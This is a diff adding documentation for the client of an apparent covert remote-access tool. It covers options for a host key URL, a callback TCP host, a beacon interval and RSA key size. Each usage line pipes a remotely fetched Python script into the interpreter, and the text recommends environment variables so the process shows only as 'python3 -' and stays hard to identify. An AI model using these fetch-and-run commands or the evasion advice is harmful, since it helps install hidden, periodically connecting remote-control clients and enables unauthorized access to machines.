+ <p>As you may have noticed reading the precompiled scripts section, the client binary
+ allows configuration options to be passed in a number of ways. The first thing it
+ will look for, for any given option, is a specifically-named environment variable,
+ as this will not be visible in the process name. Failing this, the client will try
+ less subtle approaches, looking for positional command-line arguments, prompting
+ the standard input, and finally falling back to a preset default value (which you
+ may find it useful to alter the script in order to tweak if you don&apos;t want to
+ pass anything in through the alternative methods.) Generally your run command will
+ look something like:</p>
+ <pre>curl -s https://dl.pkctl.org/pk.py | OPT1=val1 OPT2=val2... python3 -</pre>
+ <p>This has the distinct advantage as only showing up as <code>python3 -</code> in the
+ process list, which leaves precious little to identify what it is actually doing.
+ For this reason, environment variable input is highly recommended.</p>
+ <section id="hdb">
+ <h3>HDB URL</h3>
+ <p>Unless your server is using the default server key (not recommended), you will
+ need to specify a URL from which the server&apos;s public RSA key can be
+ fetched. The format of this file can be found in the
+ <a href="/hdb">Hosts Database</a>
+ section of the documentation.</p>
+ <p>Environment Variable Name: <code>HDB</code></p>
+ <p>Command-Line Argument Order: first</p>
+ <p>Default Value: <code>https://war.cflems.net/hosts.json</code></p>
+ <p>Usage:</p>
+ <pre>curl -s https://dl.pkctl.org/pk.py | HDB=https://dl.pkctl.org/b8ca2180.json python3 -</pre>
+ </section>
+ <section id="host">
+ <h3>TCP Host</h3>
+ <p>This is the TCP host to which your client will attempt to connect at a specified
+ interval. You will most invariably want to specify or recode this parameter.
+ Port number is optional and specified with a colon in the hostname.</p>
+ <p>Environment Variable Name: <code>HOST</code></p>
+ <p>Command-Line Argument Order: second</p>
+ <p>Default Value: <code>sek.cflems.net:2236</code></p>
+ <p>Usage:</p>
+ <pre>curl -s https://dl.pkctl.org/pk.py | HOST=raw.pkctl.org python3 -</pre>
+ </section>
+ <section id="tts">
+ <h3>Time to Sleep</h3>
+ <p>This is the interval at which the client will wake up and attempt to establish
+ a connection to the remote server, if it does not succeed immediately. Unit is
+ seconds.</p>
+ <p>Environment Variable Name: <code>TTS</code></p>
+ <p>Command-Line Argument Order: third</p>
+ <p>Default Value: <code>1800</code> (30 minutes)</p>
+ <p>Usage:</p>
+ <pre>curl -s https://dl.pkctl.org/pk.py | TTS=86400 python3 -</pre>
+ </section>
+ <section id="bits">
+ <h3>RSA Bits</h3>
+ <p>Can be used to turn down the bits used for RSA keys and messages for faster
+ operation at the expense of security. Needs to be synced between the client
+ and server. I recommend leaving this value alone.</p>
+ <p>Environment Variable Name: <code>BITS</code></p>
+ <p>Command-Line Argument Order: fourth</p>
+ <p>Default Value: <code>4096</code></p>
+ <p>Usage:</p>
+ <pre>curl -s https://dl.pkctl.org/pk.py | BITS=2048 python3 -</pre>
